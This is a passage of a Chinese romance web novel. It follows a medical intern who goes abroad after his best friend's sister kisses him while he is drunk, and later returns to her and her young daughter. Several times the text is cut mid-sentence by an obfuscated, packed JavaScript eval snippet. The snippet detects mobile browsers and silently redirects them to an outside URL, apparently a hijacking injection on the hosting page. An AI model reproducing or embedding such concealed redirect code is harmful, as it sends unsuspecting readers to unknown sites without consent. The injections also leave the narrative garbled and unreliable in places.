“那行，回头我跟易书鸢说一下。”舒逸想了想，又道：“到时候你就租个单间就行，我继续回家住。反正现在大多数时候都是住在医院里。” 医院除了地板外，随便一个能躺人的地方，都是他们这些实习医生的床。 “好。” …… 医院的实习医生们就是哪里需要哪里塞，说是在病房实习期间实行24小时值班制，但实则少有24小时后真的能回家的。 这一届的顶级院校博士实习医生有的去了门诊，有的去了急诊，有的去了病房，最艰难的夜半和假期值班往往都被分派给这些新医生。年轻人身体好，熬得住就多熬熬吧。 易书鸢倒无所谓现在被安排在哪个位置，反正实习医生都要跑一轮的，以后每年还会有120随车的工作，谁也逃不掉。 早上刚得知有一个与米国医院交换实习的机会时，他本能便想拒绝。科室领导劝他在考虑考虑，他才应下来。 中午吃饭时，父亲又忽然打来电话，无非还是那些话。他想学的专业，家里让学了，现在学业完成了，应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134196|180294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该回去帮父亲分担家里的产业了。 他再次表明要当医生，父亲果然立即暴怒。 “你怎么能做这种忘恩负义的小人？家里供你读完博士，你居然舍下老父亲，是想不管父母了吗？” “当医生有什么出息？没多少钱不说，还动不动就被医闹。整天坐在个牢房一样的小房间里，被一个又一个病人折腾，很有意思吗？” “当医生能让你住上别墅吗？能很好的帮父母养老吗？” “你是要气死我才罢休吗？” “早知道当初就不应该只生你一个，把所有资源都倾尽在你一个人身上，我真是亏惨了。” 咒骂、批评、道德指控劈头盖脸，易书鸢摸摸承受着来自父亲的愤怒、怨气等情绪，渐渐察觉到手抖，才终于无法再忍耐下去，挂了电话。 有时候真的想逃出银河系，在那里或许就可以永远拜托掌控欲极强的父亲，一直如影随形的挫败感，和持续沉浸其中的恐惧与焦虑。 甩开所有这一切，易书鸢不要命般地投身工作。别人抽空睡觉，他去查房，别人随时随地打瞌睡，他看病历。 终于没有停歇地跑完32小时，离开医院时易书鸢像走在棉花上一样轻飘飘的。 被风吹走倒也没什么，开车驶上主道时，感受到边上呼啸而过的车，他想，就算被车撞到，他应该也不会有事。 身体很轻，被甩出窗口后，应该会飘起来吧。 回家睡了2个小时，莫名惊喜后他就再也睡不着了。 群里舒逸在说青青百日酒的事，就在今晚，喊大家都去饭店吃饭，他请客。 易书鸢也在群里回了个1，看了会儿书便洗澡换衣裳准备出门。 晚宴上舒元难得穿了条裙子，翠绿色的长裙很合身，完美展现了她腿长的优势。长发被扎成个马尾，看起来哪像个妈妈，还是学生样子呢。 他站在饭店门口看了她一会儿，直到被刚赶来的王栋询问怎么不进去，他才笑着随王栋及其女朋友一起走进饭店。 将红包塞给舒元，易书鸢接过青青抱了抱。准备把青青放回去后，小婴儿立即啊啊叫着不撒手，易书鸢抬头对上舒元无奈的笑容，道了句“没事”，干脆抱着青青去就座。 因为舒元囤了搬冰箱奶，接下来一周不给青青喂奶都没事，是以获得了今晚喝点酒、吃些油辣食物的权利。 易书鸢喝得不多，舒逸倒是喝了个酩酊大醉。 最后离开饭店时，他们一群人中居然找不到一个能开车的。 易书鸢便点了代驾，负责带舒元兄妹回家。 和舒元一左一右搀扶着舒逸，推着婴儿车，艰难地出了电梯。 终于把舒逸安顿在床上后，易书鸢也有点上了酒劲儿。他晃晃悠悠到客厅，等舒元去帮他倒水的工夫，靠在沙发上昏沉着几乎睡着。 太久没睡觉的困意，其实比醉意更甚。迷迷糊糊间，他听到舒元的脚步渐近，本以为她会推醒自己请他喝蜂蜜牛奶，却不想她停在自己跟前，好半晌没有动。 … 舒元垂眸，目光细密地描摹易书鸢的脸。 他好像又醉了，歪在沙发上，一脸的松弛无害。 这片刻舒元终于可以肆无忌惮地欣赏他的颜。 卷长的睫毛，完美的骨骼线条，承载了最令导演欣喜的光影。 想到他醉后会断片，酒劲儿上头，舒元没能抵受住诱惑，低头朝着他的嘴唇压了下去。 9. 分别 轻轻碾吮，舒元忽然感觉到回应，腰间被小心翼翼的手指搭触，是易书鸢试探性地将她拢向自己。 霍然睁眼，正对上他有些迷离的眸子，心里咯噔一下，舒元瞬间意识到，他没有醉死过去。 几乎是下意识的，害怕他识破她是在清醒状态下主动索吻，舒元眯眼装醉，口中喃喃：“亲爱的……”仿佛正与熟稔的恋人亲热。 易书鸢瞳孔忽地一缩，眼底剩下的半分醉意退散，他猛地推开舒元，在对方望过来时难堪地撇开了视线。 他双手撑着沙发，踉跄着想站起身，摇晃着又倒下去。 舒元才要伸手扶他，易书鸢躲开了她的手，终于摇摇晃晃站了起来。他头也不回地离开，门砰一声关紧，舒元庆幸地揉了把脸。 真是鬼迷心窍，她差点搞毁了他们的友谊，还好她反应快，装醉假装将他看成了别人。 呼出一口气，她怔怔蜷在沙发上，回想起他从迷糊状态回神后立即推开她的反应，舒元仍不免有些失落。 易书鸢醉了几分呢？ 明天他会不会记得她曾在酒后吻了他？哪怕她装作是在吻别人…… 她真是迷了心窍，居然趁人之危去吻一个醉酒的人。 这种时候他当然任人采拮，真是…… 有些颓丧地倒在沙发上，舒元懊恼地捶头，直到青青嘤嘤哭泣，她才不得不打起精神，跑过去哄宝宝。 为了照顾宝宝，她根本就没喝两口，怎么可能醉。 易书鸢不会识破她吧…… … 找了代价回到家，易书鸢独自走进自己一直住着的另一套公寓。 踢掉鞋子，他大步冲进浴室，穿着衣服便打开了花洒。 冷水兜头而下，将他和身上的衣服都浇得湿透。心也渐渐浸湿，寒意逼得他打颤。 慢慢坐在浴室冷硬的地面上，他闭上眼，冷水顺着头发流过睫毛，一路向下。 舒逸说舒元要搬出去了，找个单间带着青青和阿姨生活。她不愿意接受他的帮助，一向如此，每当他想靠近时，舒元总能找到各种理由将他推开。 她不想麻烦他，她不愿意受他的照顾，她不需要他送她回家，她自己能背得动书包，她可以乘公交回家…… 到底什么人才能让她接受，令她愿意放下防备靠近？ 孩子的亲生父亲吗？ 或者，那个人最终也没有做到？舒元仍将对方推出她的生活，然后独自抚养青青。 忆起方才舒元的呼吸靠近时，他心底发狂的喜悦…… 可现在，记忆中的迤逦和期盼，都成了刺向他的利刃。 易书鸢不能自已地发抖，用力抓住自己的手腕，抖颤却并没有停下。 医生的手是不能抖的，他必须掌控自己的身体和动作，才能做好手术。想要起身去拿药吃，胸腔里的酸痛却令他无法动弹。 舒元还在想那个人啊…… 她上高中的时候，曾经说过自己很不习惯身边女孩子们互相称呼“亲爱的”。她说她也想这样亲切自然地称呼朋友们，可总是难以开口，最多喊朋友名字时抹去姓，可相对于“亲爱的”，好像总少点亲近感。 那时候她就觉得自己跟身边好多同学一比，都显得格格不入。 可是，刚才舒元喊了“亲爱的”，她称呼青青的父亲为“亲爱的”吗？ 她也终于有喊得出口的人了。 用力闭眼，易书鸢以拳砸地，喉咙里藏着低吼，几息后终于还是没能发出任何声音。 他习惯了忍耐，从小时便如此。 忍耐，忍耐，总是忍耐，一直在忍耐。 几个小时后，他从浴室站起来，下了要去米国交换实习的决定。 第二天，易书鸢找到了舒逸，商量房子的事。 他要将房子留给舒元让她帮忙照看、帮忙交物业费，舒逸大为吃惊，不敢置信易书鸢怎么就这么草率地做了去米国做交换的决定。 “你现在情况怎么样？我见你近期情绪不好，是不是又开始吃药了？”舒逸皱眉，劝说道：“还是别去做交换了，就算你小时候在国外读过书，毕竟也在国内呆这么久了，再去适应新环境、新的文化和人群，对你这种高敏感度的人多少都有些压力。如果你最近觉得不舒服，那就更应该去了。” “谁说我又开始吃药了？”易书鸢笑着摆了摆手，“维生素倒是吃了不少，天天加班都没时间晒太阳，我怕自己缺维生素D。” “你还是别去了。”舒逸有些担心地道。 “我已经决定了。”易书鸢的笑容淡下来。 “就算你决定了，房子也不能留给舒元啊，你租出去还能赚不少钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134197|180294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。”舒逸摆摆手，转而又想继续劝易书鸢，却被对方打断。 “那房子的小区环境好一点，对年轻的单亲妈妈更友好。让她去住人员构成复杂的群组小区，你放心吗？” 易书鸢不给舒逸再开口的机会，语速加快： “更何况我的房子物业不便宜，你们住着帮我承担一部分，又能帮我照看房子，我在国外也安心。 “这也不算你们占我便宜，大家互相帮助。 “兄弟这么多年了，事儿这么多呢？” “书鸢——” “我都多大的人了，你有什么不放心的。留在江海我才要绷不住呢，我家里的情况你又不是不知道，能逃一时是一时吧。”易书鸢再次打断道。 “你爹又逼你了？”舒逸声音立即放柔下来，上次易书鸢情绪出问题，就是因为家里父母给他带来的负面东西积压太久，终于在一个契机下爆发了出来。 舒逸是陪着易书鸢一起走出来的人，最知道他的状态，眼神里慢慢担忧。 “总归逃不掉吧，他年纪越大，我能力越强，他就会逼得越紧。人总是在恐惧时表现出最强烈的攻击性，他怕自己无法再用武力和金钱掌控我，怕我翅膀硬了完全挣脱他的束缚，一定会越来越无所不用其极。”易书鸢垂眸看向自己轻轻搓动的手指，声音沉沉的。 “实在不行就断绝父子关系吧，他折磨得你也够久的了。要说他养你花的钱，父母本来就有抚养子女的义务。你现在手里的房子都是你外公留给你的，也跟他没关系。你从小到大一直拒绝他给你做额外的花销，也没接受过他什么帮助，反而挨了不少打，受了他不知道多少施压、辱骂，是tm他欠你的好嘛。”舒逸越说越气，恨不得立即拉着易书鸢去跟对方老子断绝关系。 “……”易书鸢沉默了一会儿，抬头时脸上已重新挂起和缓的笑容，“房子的事就这么说定了，你们先住到我回国，就拜托你们帮我交物业费、维护房子了。” … 一天后，舒元从舒逸口中得知了易书鸢要出国一年的事。 她还在想问问易书鸢怎么忽然做了这个决定，却不想易书鸢连践行宴都没吃，在做下决定的第三天便独自踏上了旅程。 坐上飞机前，他谁也没说。 当舒逸他们接到他的短信时，他的飞机已经起飞了。 10. 飞蛾扑火 即便白天有李阿姨帮忙，要应付学业、做好兼职，加上晚上照顾青青，舒元仍忙得不可开交，常常觉得应付艰难。 舒逸看着妹妹日渐消瘦，只能尽量多帮忙。 自从易书鸢出国后，跟国内的联系就日渐减少，常常十天半个月才回一句两句。 这个人仿佛正渐渐从他们的生活中消失。 大家的生活渐渐都走上正轨，舒逸身边的朋友们越来越多开始恋爱，偶有一两个忽然传来婚讯。 医学院的同学们各自在所选专业有了新的成绩，实习、转正，朝着主任医师方向冲刺努力。 舒逸身上的白大褂越来越旧，他在医院里的状态则越来越老练。 时间过得很快，这一年新年只有舒逸陪舒元过，易书鸢留在国外没有回来。 新一年开始，短暂的假期修整后，舒元又进入更紧张忙碌的学习生活。舒青青渐渐长大，在春夏交替之际学会了第一个单词“妈妈”，之后又学会了“舅舅”。 慢慢的，“阿姨”“栋舅舅”“磊舅舅”也都能说得清楚。 舒元给青青刮果泥、做辅食的技术越来越好，自己慢慢也学会了几道拿手菜，逢年过节在家里招待亲朋，甚至能亲自下厨做一两道菜。 升上大四，舒元修完了所有学分，便开始筹备毕业短片。 同学们约演员、写本子，忙得不可开交，舒元却省下了许多与人社交、聘请演员的工作和支出，她决定用定格动画的方式，以青青为主角，拍一部短片《小王子》。 爱情的表象下，每个人都读到了属于自己的人生故事。 舒元的故事表达很含蓄，却有很多留白和空境，供观者沉浸式思考，自己到底在刚刚的片段里，看到了什么。 这是一部掺杂了许多自我感受与理解的童话故事，也将是所有观众面对内心的孤独时刻——在孤独的时候，人类的智慧飞速发展。在孤独的时候，人类看清世界、发现自己。 短片的主要演员除了青青外，其他角色皆由青青的旧玩具充当。 无数次被青青口水打湿的狐狸玩偶，针织的起毛的玫瑰…… 在忙碌的工作与生活中，舒元没有等到易书鸢回国。 他延长了交换实习时间，将在米国多呆一段时间。 离开后，他从不发朋友圈，从不给任何人点赞，极大地缩小了自己的存在感，仿佛力图让那些曾经熟悉、亲密的人都忘记他。 可是怎么可能会忘记呢，舒元悄悄拿着易书鸢的照片教青青喊“鸢舅舅”，以便在他回来时，狠狠地惊艳他——这是青青可以在明面上，对他最亲密的称呼了。 舒逸甚至已经开始规划去米国看望易书鸢，护照办好了，只等一个易书鸢同意的时间，他就出发。 毕业短片剪辑完，提交后的时间里，舒元开始全身心投入赚钱之中。 她剪辑师的身份已经在圈子里比较有口碑，接到的外包单子越来越多，甚至开始成为一些大主播的长期合作对象。 同学们考虑去哪里实习时，舒元却开始思考毕业后不去任何公司打工，自己创业当技术自由人的可能性。 存款在慢慢增多，收入稳定，时间比较自由，舒元能在青青进幼儿园前更好地照顾她。 现在她自己的账号也有两万多粉丝，虽然她的视频产出不稳定，但每条视频质量都不错，点赞、观看、评论等数据比对粉丝数的比例很不错。 只是舒元一直没能找到自己的定位，总在生活博主、原创剧情视频博主、趣味视频剪辑博主之间纵跳。 找一个能恒定产出高质量视频，有稳定的内容生成的主题，实在太难了。 …… 一天的工作结束，易书鸢下班收拾东西时，第一时间掏出手机查看微-信朋友圈。 舒元已经5天没有发任何文字图片了，她是个喜欢分享的人，虽然未必发很多文字，但总有些细小的点滴记录，隔个一两天就会发些什么。 这5天发生了什么？ 为什么连只言片语都没有？ 事实上，易书鸢超过3天没看到舒元发的文字或图片，就会开始感到焦虑。 他在藏起自己，却总在暗处偷偷窥视。 想要了解她一天过得开不开心，想知道她工作和生活顺不顺利。 她有那些小确幸，又有那些小抱怨。 就好像舒元从未离开他，他仍在她身边，是她哥哥最好的朋友，可以常听她絮言两句自己的生活和观点。 就好像他们的距离没有越来越远。 退出她的生活，是易书鸢主动的选择。 本以为只要自己先离开，就不会因为她渐渐的疏远而感到无法忍受，也不会因为她醉酒后叫错的名字刺痛。 好像避免了被伤害，但心情并没有好哪怕一点。 但他不能将事情变得更糟了，也难以想象如果有一天自己的忍耐失控，做了出格的事情，舒逸和她会以怎样的眼神看自己。 那是他无法承受的结果。 在这个世界上，他心里能保留的希望已经不多了。 易书鸢总要给自己一点动力，活下去的东西。哪怕那些美好、那些点亮他生命的火焰，都将在未来属于别人，但至少他没有毁掉它。那些过去的记忆仍完好无损地藏在哪里，舒元和舒逸再见到他时，或许会陌生，但不会轻视和厌恶。 收起手机，与相处一年仍陌生的同事道别，他按部就班地回住处，吃披萨，努力使自己活着。 饭后写好论文，结束健身，准备去洗澡时，易书鸢忽然又失去力气。 躺在冰冷的地板上，他静静地看天花板。 不知道过了多久，对他来说好像只是几秒钟。 可天早已黑透，楼上楼下的响动也消失，整个世界都沉睡了似的。 易书鸢终于翻身坐起来，第一件事仍是点开微-信朋友圈。 昏暗的房间里，只有手机屏幕散发的光。 这光忽然也照亮了易书鸢的情绪，他又看到了舒元的文字： 【最近青青总是伸舌头，阿姨不放心，带她去了医院。各种检查做了，什么毛病没有。后来医生问了阿姨好几个问题，终于确定，问题出在阿姨每天去小区活动区散步时，同样每天都在的大金毛。 好消息：青青是个学习能力很强的小朋友。 坏消息：师父是狗。】 配图是一只傻乎乎的金毛犬。 易书鸢不知不觉间抿唇，又将这段文字反复看了很多遍，像热爱文玩的人反复盘摸一把木珠串。 至少这一天，他又尝到了他的精神食粮。 在昏暗的房间中，细细地品尝。 …

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134198|180294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 舒元的实习章由之前合作的大主播工作室帮盖了，在同学们都努力往各大影视公司里投简历时，她却一头跳进网络视频行业，与几个之前合作的大工作室签了稳定的长期合同。 钱不算特别多，也没有什么特别高远的职业前景，但胜在稳定、工作时间自由、工作量可控。 关于更高的职业规划，舒元准备先投注在自己的账号上，她想一边干活赚钱照顾宝宝，一边向大主播们学习经验，继续寻找自己的自媒体方向。 人越忙碌，时间过得越快。 眨眼间青青就成了个咿咿呀呀能说会走的小胖姑娘，舒元也渐渐有了买新装打扮自己的心情。 青青2岁生日时，舒元又收到了易书鸢从米国邮寄来的礼物，是一个很华丽漂亮的印第安帽。 舒元给青青戴上拍了照片，发给易书鸢道谢。他依旧只礼貌回应：【不用客气，祝青青生日快乐。】 曾经她觉得他们这帮人即便会开启各自属于成年人的人生，但也还是会常常聚会，做越来越老的朋友。 从未想过会跟易书鸢变得这样疏远，一年多没见他，连他的消息都少有。 舒元盯着他的回复看了好一会儿，直到哥哥喊他去帮青青切蛋糕，这才收起手机回到桌边。 抱着青青，握着女儿的手切蛋糕，听着舒逸带着其他干舅舅们一起给青青唱生日歌，舒元幸福地亲了亲青青。 看着女儿笑得见牙不见眼的小胖脸，方才心里那点失落终于被抹去。 幸好，她还有青青，属于她的爱情的、最美好的礼物。 …… 深秋，交换实习延长一年后，终于还是要结束了。 实习的医院向易书鸢伸出橄榄枝，他没有立即接受或拒绝。 这里很糟糕，他吃不惯白人饭，不适应这里的气候。 在这里的一年，除了工作外，他几乎是封闭自己的。毕竟，不是所有地方都有热力无限的舒逸，死缠烂打着非要打开别人的心房，跟别人做朋友。 可是，回国吗？ 父母的压迫会立即挤撞过来，他最大的情感寄托也早已不可能走进他编制的美梦……回去有什么意义呢？ 为什么不干脆逃避逃一辈子？ 亚裔生活区附近发生枪击案时，易书鸢再次收到医院劝他留下的邮件，面对回信界面，他仍在踟蹰。 国内的亲朋知道他住的地方离枪击案发生地不远，纷纷给他发微-信、打电话询问情况，他一个都没回，莫名地厌倦，不想跟任何人产生链接。 轻飘飘的关心，只是个为完成朋友义务而走的流程吧，哪有什么人会真的为一个远在他乡的别人担惊受怕呢？ 他只是默默地听着铃声响，等着铃声停。 直到舒元的电话打进来，听到他的声音后，她在话筒里如释重负般的问候，语气中藏不住的慌张。 是真的关心。 是他一直想听到的声音。 2年了，听到她透过话筒传进耳膜时有些失真的声音，听到她熟悉的腔调和口癖，易书鸢才发现自己居然这样想她。 有某个瞬间，他几乎无法控制自己说出那几个字—— 我想你，舒元。 挂掉电话后，易书鸢平静了许久。 理性回笼时，他决定回国，仿佛飞蛾扑火。 11. 重逢 青青真是个讨人喜欢的小姑娘，小时候给她个什么东西，她都能开开心心玩半天，现在能跑能跳了，对于玩耍的专注度也一样得高。 舒元自己也像个半大孩子，青青蹲在草丛边看蚂蚁，舒元就跟青青一起看。看蚂蚁们之间发生一场又一场的战争，看比蚂蚁更大的昆虫被蚂蚁合力运进巢穴。 然后像个拥有大智慧的人一样，对青青感慨：“你看，大自然任何族群之中都时时刻刻发生着冲突、战争，只有人类才会以‘和平’为目标。” 青青啥也听不懂，但会睁着清澈的、黑白分明的大眼睛，做妈妈最优秀的倾听着，还会在舒元洋洋得意地给自己鼓掌时，学着舒元的样子啪啪啪拍巴掌，嘎嘎嘎地笑。 “青青今天又跟妈妈学到了很了不起的道理。”舒元抱起青青，尽自己的力量将女儿举高。 青青嘎嘎笑，她也跟着嘎嘎笑。 一转身娘俩就忘了方才看的蚂蚁，跑去跟邻居老奶奶玩，一边逗弄老奶奶遛的狗，一边听老奶奶讲最近哪家超市卖的食物最新鲜，哪家新开的茶馆抢钱一样贵。 青青很快便跟老奶奶的边牧玩到一块儿，边牧像是比青青智商更高，带着青青去滑滑梯。 每次青青从矮话题上滑下来时，边牧都坐在滑梯口，用自己的身体挡住青青，避免她摔倒。可是在边牧滑滑梯的时候，青青却不懂得在滑梯口用自己的身体接住边牧。 大边牧很不高兴青青这种行为，不停尝试吭吭唧唧昂昂昂地教会青青。奈何青青搞不懂边牧在干什么，还以为对方在跟自己玩，也学着大边牧“汪汪汪”地叫回去。 舒元坐在边上看了一会儿就坐不住了，专门跑过去教青青，在大边牧滑下来的时候，她要等在滑梯口，接抱住边牧。 舒元教了几次，青青终于学会了。 聪明的大边牧立即高兴地摇起尾巴，陪着笨蛋人类幼崽青青继续玩起小滑梯。 娘俩正一个跟老太太聊天，一个跟狗哥玩滑梯，远处忽然有人远远走来，朝这边摆手。 舒元第一时间被两个高大的帅哥吸引视线，其中一个是自己哥哥舒逸，另一个…… 她霍地站起身，瞠目仔细打量走在舒逸身边，一边听舒逸讲话，一边含着浅笑，微微垂眸的男人。 半长短发几乎将那人半张脸遮住，可就算他把整张脸遮住，只要看到他的步态，看到他标志性的身材比例，舒元便能一眼认出。 是易书鸢。 本能迈步走向他们，忽然想起舒青青小朋友。转身抱起女儿，匆匆跟老奶奶道别，拍拍大边牧脑袋，舒元大步走向舒逸和易书鸢。 秋高气爽，阳光明媚又不太晒，秋风和煦，撩起易书鸢长刘海，他恰巧捕捉到舒逸在跟人摆手，挑眸向前望，正捕捉到许久不见的舒元。 易书鸢想过，重逢的滋味或许会像青苹果，不那么甜，但未预料会如此酸涩。 舒元好像一个青涩的小姑娘，忽然长大了。怀孕时剪短的头发留长了，不再像小时候一样喜欢穿带点孩子气的衣裙。掐腰的9分裤配白色衬衫，她整个人都透露着半熟的优雅和自信，眼睛明亮，笑容明媚，像熠熠发光的星辰、朝阳。 她还是这么美好。 … “什么时候回医院上班啊？” “什么时候回来的啊？” “你提前说嘛，我哥肯定拉着条幅去机场接你。” “至少过来前跟我说一下嘛，我多买点好吃的。” 舒元满肚子的话，等不到易书鸢回答，下一个问题又问出口。 她眼睛一直在打量他，看看他愈发内敛的眼神，看看他比之前更白几度的皮肤，看看他变瘦后更明显的锁骨……舒元时不时笑笑，转头跟舒逸说： “我们订个饭店。” 又问易书鸢：“鸢哥你想吃什么？” 不等舒逸和易书鸢回答，舒元又道：“鸢哥在外面这么久，肯定馋可多吃的了吧？咱们附近新开了家东北菜，之前鸢哥常去的徽菜也还开着呢……” 易书鸢含笑看着她，听她讲话。 舒逸挠头，“你慢点说，先歇会儿，我去泡点茶咱们边喝边说。” 舒青青起初只是坐在地垫上抱着自己的娃娃，好奇地看易书鸢。 坐了一会儿发现这位陌生人一直很温和，似乎一点都不可怕，她忽然摇摇晃晃站起身，走到易书鸢身边，歪着脑袋不掩好奇地打量易书鸢。 易书鸢发现小宝宝过来，便弯腰凑近，柔声说：“你小时候我抱过你的哦。” 舒元这才想起来要让舒青青喊人，可还没等她开口，舒青青已经奶声奶气地先出声：“鸢舅舅。” 舒元立即挑眸，望向易书鸢。她幻想过无数次的画面，竟真的出现了。 易书鸢惊讶地瞠目，不敢置信这个只在百天前见过他的小娃娃会认得自己。他脸上淡淡的笑容扩大，见到舒元时一直压制着的些许情绪不期然冒出来，手指轻轻颤抖，他忙将之藏进衣兜。 小朋友对长辈的情绪是很敏感的，舒青青似乎被易书鸢忽然没遮掩好的情绪吓到，小胖腿向后挪了一步，转头看了看妈妈，才又对上易书鸢的眼睛。 伸出小胖手，她指着对面桌上摆着的几张照片，又开口：“鸢舅舅。” 易书鸢顺着她的手指看到那些照片中有自己跟舒逸的合照，隐约明白过来宝宝是通过照片认识他的。 舒逸这时端着茶具走出来，一边泡茶一边道：“元元时不时便拿着照片给青青看，教青青叫‘鸢舅舅’。我之前还想着看照片能记住吗，看样子还挺有用的。” “当然了。”舒元得意道。 易书鸢回国2天，先回医院报道办手续，然后便联系了舒逸。 他不准备联系父母，便只自己一个人住在另一套公寓里。房子里积了很多灰，请阿姨清扫后，屋里仍一股灰呛呛的味道，哪怕放了香薰，仍时不时嗅到。 父母那边对他来说是火海刀山，自己家空寂冷清没有一点人味儿……他之前就想，或许在舒元和舒逸这边，能体会到些许亲热的温度。 果然，此时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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尤其这是小娃娃记事起第一次见你，便展现出如此的信赖与亲近，仿佛对她来说你是全世界最特别、最值得信赖、最亲切迷人的大人。 “你这声音够雌性的啊，给啥也不懂的舒青青小朋友读故事可太浪费了。应该去当男主播，肯定能迷倒一群粉丝，还能赚钱。”舒逸啧啧赞叹。 “不要用你市侩的脑袋污染这圣洁的一幕。”舒元责备地瞪一眼舒逸，忙拿出手机给易书鸢和舒青青拍照，心里美得冒泡泡。 太棒了！她拍到了青青和爸爸和谐互动的珍贵照片！她老去之前要跟女儿讲的话又多一句：青青哇，其实你小时候，你爸爸还抱着你给你讲过故事呢，有照片为证，你看！ 放下手机，舒元静静看着易书鸢和青青互动。 青青如今已经长开了，不是小婴儿了。她的扇形双眼皮、浓到像纹了眼线的上下睫毛、被浓密睫毛衬得颜色偏浅的琥珀色眼瞳，高高的鼻梁、鼻翼形状，乃至鼻头中央微微凹陷的一个小小的坑，还有超清晰的M型上唇线，活脱脱就是超小号女版易书鸢。 幸亏没有人往这个方向想，但此刻易书鸢抱着青青，两个人过于相像的脸靠得这样近，舒元还是忍不住心跳加速。 都说女儿像爸爸，果然如此。 这……也太像了吧。五官里至少有一样像她，都不至于这么令她心惊肉跳。 12. 方向 易书鸢回国，舒逸不顾易书鸢的阻止，开开心心组织了一场大型同学聚会。 舒元从来跟着哥哥蹭吃蹭喝，他上大学后也一直跟着，同他的所有同学都熟悉。是以，这次聚会她也有幸参加。 进门后，舒元立即学姐学长叫了一圈儿，俨然是混在哥哥姐姐们中间的吉祥物。 吃饭时，她因为最近大姨妈推迟，便凑到如今已是妇科医生的于娟学姐跟前，仔仔细细问了半天关于大姨妈的各种知识。 于娟学姐是个很开朗的人，对于月经话题丝毫不避讳，一边给舒元讲，一边还跟同桌的男同志们强调这个很重要，回头找对象了都得注意点。 座位上的都是医学院出来的，对于这方面的基础知识也了解不少。刚开始还只有于娟学姐一个人给舒元讲，后来大家的好胜心被激发，纷纷插言，越聊越深入。 舒元刚开始还拿着手机做笔记，后面干脆直接开录音。笔记是根本记不过来的，还是录音了回去再慢慢听吧。 没有记笔记的压力，舒元也轻松地参与进来。 学长学姐们都是很有追求真理精神的人，一个个将月经讲得深入浅出，表情严肃，没有一点调侃或不认真。 但座位上的人不乏幽默的，时不时聊着聊着，还是会有些很有趣的知识冒出来，逗得大家哈哈大笑。 舒元听着听着忽然觉得，原来这么专业且深入的知识，竟也可以听起来这么有趣，丝毫不会觉得艰涩难懂，令人听之饭困。 思绪转着转着，她就有了灵感。不如做一期“月经”科普吧？网络上虽然这方面科普不少，但大多都很浅，令人听得云里雾里，十分含糊。要么就是不知道从哪里抄来的文案，上句不接下句，概念常常都是错误的。 就算讲得很好的，也往往用词、逻辑过于严肃、死板，让人没有耐心把视频看完。 网络信息驳杂，人们想要在浩瀚的网络世界中寻找到最适合自己的知识其实并不容易。绝对真实、资料详实，且逻辑清晰、趣味盎然的科普类视频，一直都非常稀缺。 她的剪辑水平很好，如果耐心地制作一个有深度、全面，又有趣味性的月经科普视频，有没有搞头呢？ 舒元觉得是个好点子，她如获至宝般兴奋，开开心心吃完这顿庆祝易书鸢回国的欢迎餐，回家后便开始写文稿，画脚本。 最初她本来是想在网上找素材，自己只出独白声音，但看了下全网相关科普类视频，发现大多数剪素材制作的视频点击量都不太高。缺少了人与人的互动，视频的吸引力和传播力都下降了。 人的眼睛和表情是有信息量的，而且能跟观众产生微妙的情绪互动——哪怕是不会对观众形成即时反应的视频，仍会让观众产生互动感——这样的内容更具吸引力，作为信息传播的科普类视频，是更好的制作方法。 舒元反复思考再三，终于还是决定出境。 于是她又重新调整了文稿，将之修订成更口语化，更生动有趣的形式，并在其间穿插一些有意思的例子和小故事。 对着镜子反复读稿，确定自己不会太生疏后，她又校准了无数遍自己的表情。 普通人没有经过专业培训，其实对于自己表情的掌控是很本能的，有时只是一个停顿、几秒钟的沉默，就可能让镜头前的自己显得冷酷疲倦，甚至明明只是面无表情，看起来却是厌烦表情——这样的镜头对于一个视频来说就太糟糕了，舒元决不能在镜头前露出任何古怪表情。 她得有活力，有说服力，充满热情，让观众在学习知识的同时，时刻感受到的是正向的情绪。 并且语气还要有正确的抑扬顿挫，以凸显该凸显的知识点。 思考怎么做，到不断修正，到开始执行，一切都比舒元想象中更复杂、艰难。但又充满了乐趣，挑战新鲜事物令人热血沸腾，任何细小的难关的攻克，都带来巨大的成就感。 舒元沉浸在工作中，直到阿姨下班跟她交接，她才发现时间的流逝。 这个科普视频很快便成了舒元历史最久、用心最多的一个，为了做好科普，她几乎买齐了市面上所有卫生间，依次做成分比对。又在网络上寻找关于这些产品的所有新闻，并一一核实——如何应对月经，是这个视频的最后一节，这部分逐步丰满完成时，整个视频终于初见规模。 又经过几天的后期剪辑，视频变得更加精简流程。特效和素材加入，则提升了内容的趣味性，打破每一个逐步沉闷的时间点，带观者进入新的趣味环节…… 视频终于完成后，她又发给于娟学姐，对方确定知识点无误，舒元给于娟做了专家署名，调整了视频尺寸后，终于打开网页，登 